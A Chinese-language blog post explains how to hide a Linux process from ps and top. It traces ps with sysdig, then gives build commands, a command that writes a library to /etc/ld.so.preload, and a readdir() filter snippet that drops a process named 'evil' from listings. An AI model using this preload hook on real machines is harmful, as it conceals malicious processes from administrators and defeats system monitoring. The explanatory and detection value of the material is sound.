`
tcspecial
  • 浏览: 913808 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

Linux 进程隐藏

阅读更多

 

一. 说明

windows下驱动可通过 Hook ZwQuerySystemInformation() 达到隐藏进程的目的,那么linux上如何实现该功能呢。

 

二. 原理

Linux下有大量的进程监控命令,ps,top,htop,lsof 都可以显示资源占用情况。

sudo sysdig proc.name=ps
1489 14:39:30.258670474 1 ps (25339) > openat dirfd=-100(ENETDOWN) name=/proc flags=7233(O_LARGEFILE|O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0
1495 14:39:30.258687385 1 ps (25339) > getdents fd=5(<d>/proc)
1496 14:39:30.258777031 1 ps (25339) < getdents res=2660
3709 14:39:30.264220995 1 ps (25339) > open
3710 14:39:30.264223824 1 ps (25339) < open fd=6(<f>/proc/25329/stat) name=/proc/25329/stat flags=1(O_RDONLY) mode=0
3711 14:39:30.264224584 1 ps (25339) > read fd=6(<f>/proc/25329/stat) size=1024
3712 14:39:30.264230817 1 ps (25339) < read res=272 data=25329 (evil) R 25183 25329 25183 34818 25329 4218880 152 0 0 0 9701 0 0 0 20 0 1
3713 14:39:30.264231540 1 ps (25339) > close fd=6(<f>/proc/25329/stat)
3714 14:39:30.264231906 1 ps (25339) < close res=0
3715 14:39:30.264239242 1 ps (25339) > open
3716 14:39:30.264241697 1 ps (25339) < open fd=6(<f>/proc/25329/status) name=/proc/25329/status flags=1(O_RDONLY) mode=0
3717 14:39:30.264242604 1 ps (25339) > read fd=6(<f>/proc/25329/status) size=1024
3718 14:39:30.264257260 1 ps (25339) < read res=820 data=Name:.evil.State:.R (running).Tgid:.25329.Ngid:.0.Pid:.25329.PPid:.25183.TracerP
3719 14:39:30.264257904 1 ps (25339) > close fd=6(<f>/proc/25329/status)
3720 14:39:30.264258210 1 ps (25339) < close res=0
3721 14:39:30.264263180 1 ps (25339) > open
3722 14:39:30.264265864 1 ps (25339) < open fd=6(<f>/proc/25329/cmdline) name=/proc/25329/cmdline flags=1(O_RDONLY) mode=0

  

通过sysdig监控ps命令,发现ps命令通过通过调用openat()打开/proc目录,getdents()获取文件,然后遍历所有/proc/pid/stat,status,cmdline 文件来获取进程信息。

 

三. 实现

通过对上面ps的分析,发现只需避免工具访问/proc/PID/目录即可。

a. 修改top, ps 工具源码

b. 修改glibc 源码, readdir() 

c. 修改内核调用, getdents()

d. /etc/ld.so.preload

 

abc三种方式比较繁琐。可简单通过配置ld.so.preload文件,使动态链接器优先加载自定义库,可在不修改glibc源码情况下,改变程序行为。

自定义只需要覆盖readdir()实现,过滤指定进程目录即可。

 

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
sudo mv libprocesshider.so /usr/local/lib/
sudo echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

  

核心代码:

/**
 * 遍历到/proc/evil目录时,略过不处理
 */
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        
strcmp(dir_name, "/proc") == 0 &&                       
get_process_name(dir->d_name, process_name) &&          
strcmp(process_name, process_to_filter) == 0) {         
    continue;                                               
}  

     

 

运行效果:

ubuntu@caiji-test-chenxuerong:~/sunl$ ./evil 
 
ubuntu@caiji-test-chenxuerong:~/sunl$ ps -ef|grep evil
ubuntu   25740 25183  0 17:40 pts/2    00:00:00 grep --color=auto evil

 

  

参考资料:

https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/

http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/

 

 

 

分享到:
评论

相关推荐

    Linux中实现进程隐藏的一种新方法.pdf

    【Linux进程隐藏新方法概述】 在Linux操作系统中,进程隐藏是一种有效的进程保护策略,旨在防止恶意用户或程序访问特定进程的信息。传统的进程隐藏方法主要通过修改像`ps`和`top`这样的系统命令或者劫持文件系统...

    Linux内核进程隐藏技术在动态取证中的应用.pdf

    "Linux内核进程隐藏技术在动态取证中的应用.pdf" 本文档讨论了Linux内核进程隐藏技术在动态取证中的应用。动态取证是指在系统正常运行的状态下,获取目标主机中的所有数据,以重构实际的犯罪事实。该技术可以用于...

    Linux内核进程隐藏技术在动态取证中的应用

    linux内核隐藏进程动态取证,实验效果很好

    利用Perl实现Linux下隐藏进程的查找.pdf

    ### 利用Perl实现Linux下隐藏进程的查找 #### 概述 随着Linux操作系统的广泛应用,特别是因其稳定性、高效性及灵活性,在服务器市场占据了一席之地。Linux内核的可装载模块(Loadable Kernel Modules,简称LKM)是...

    linux隐藏进程的几种实现方法.zip

    linux隐藏进程的几种实现方法.zip

    Linux查看隐藏病毒、隐藏进程的程序

    Linux查看隐藏病毒、隐藏进程的程序

    基于Linux2.6的进程隐藏机制的实现.pdf

    【基于Linux2.6的进程隐藏机制的实现】 在Linux操作系统中,进程是系统资源的主要组织单位,每个程序在执行时都会对应一个或多个进程。Linux2.6内核提供了丰富的功能来管理和控制进程,包括进程创建、调度、通信...

    隐藏进程源代码

    驱动级别的进程隐藏技术常被用于创建Rootkit,这是一种高级的系统渗透工具,它允许攻击者隐藏其活动,使得普通用户或者安全软件难以察觉。Rootkit能够对操作系统进行底层修改,包括隐藏文件、网络连接、进程甚至自身...

    LINUX进程PPT

    并发执行的背后,隐藏着进程间协调与同步的需求,尤其是在涉及临界资源的使用时,必须采用一系列策略来避免冲突和错误。 首先,让我们明确什么是临界资源。在Linux系统中,临界资源指的是那些一次只能被一个进程...

    强力杀进程、保护进程、隐藏进程模块

    本文将深入探讨“强力杀进程、保护进程、隐藏进程模块”这一主题,旨在帮助用户理解如何有效地管理计算机中的进程。 首先,我们来了解一下“进程”。在操作系统中,进程是程序执行时的一个实例,它包括程序代码、...

    隐藏进程 C语言

    在Linux系统中,我们则需要使用fork、execve等系统调用来创建进程,并可能利用setuid、setgid等权限控制来达到隐藏的效果。 在“隐藏进程 C语言”这个主题中,核心的实现步骤如下: 1. **创建新进程**:在C语言中...

    查看系统进程源代码(包括隐藏进程)

    而“隐藏进程”则是一类特殊的进程,它们通常是为了安全或者隐私原因,不希望被常规的任务管理器显示。然而,了解并能查看这些隐藏进程对于系统管理员、开发者以及安全研究人员来说至关重要,因为这有助于识别潜在的...

    很实用隐藏进程工具 HideToolz

    1. **进程隐藏**:进程隐藏是系统安全的一部分,它允许用户将某些程序的执行过程隐藏起来,防止未经授权的用户查看或操控这些程序。这对于保护个人隐私、企业机密或者防止恶意软件活动具有重要意义。 2. **系统进程...

    Linux进程间通信.zip

    本资料包“Linux进程间通信.zip”着重介绍了几种主要的IPC机制,包括fifo(命名管道)、pipe(匿名管道)以及mmap(内存映射),并预告了后续将涉及的消息队列和信号。下面我们将详细探讨这些通信方式。 1. **fifo...

    在任务列表中隐藏进程.rar

    例如,使用命令行工具(如Windows的`tasklist`或Linux的`ps`),或者使用专门的系统监控软件,这些工具可以暴露那些试图隐藏的进程。 6. **安全防护措施**:保持操作系统和应用程序的更新,安装并定期更新防病毒...

    ghidearg:允许Go程序在Linux下从ps(进程列表)隐藏敏感参数

    2. **Linux进程管理**:了解Linux下的进程模型,如何通过`ps`命令查看进程,以及`/proc`文件系统的工作原理。 3. **内存管理与安全**:掌握如何在程序运行时保护内存中的敏感数据,避免被非授权访问。 4. **系统调用...

    基于Linux2.6的进程隐藏机制的实现 (2010年)

    阐述了Linux2.6内核工作原理。研究了进程在内核的运行...分析了基于Linux2.6内核下的进程隐藏机制,提出一种进程隐藏方法。即通过截获proc虚拟文件系统的读取访问,来达到进程隐藏的目的。最后编程验证了改方法的有效性。

    关于进程的隐藏源码下载

    本文将深入探讨“关于进程的隐藏源码下载”这一主题,涉及的知识点包括进程隐藏技术、源码保护以及相关工具和方法。 首先,我们来了解一下进程隐藏。在Windows、Linux或Unix等操作系统中,进程可以通过系统调用进行...

Global site tag (gtag.js) - Google Analytics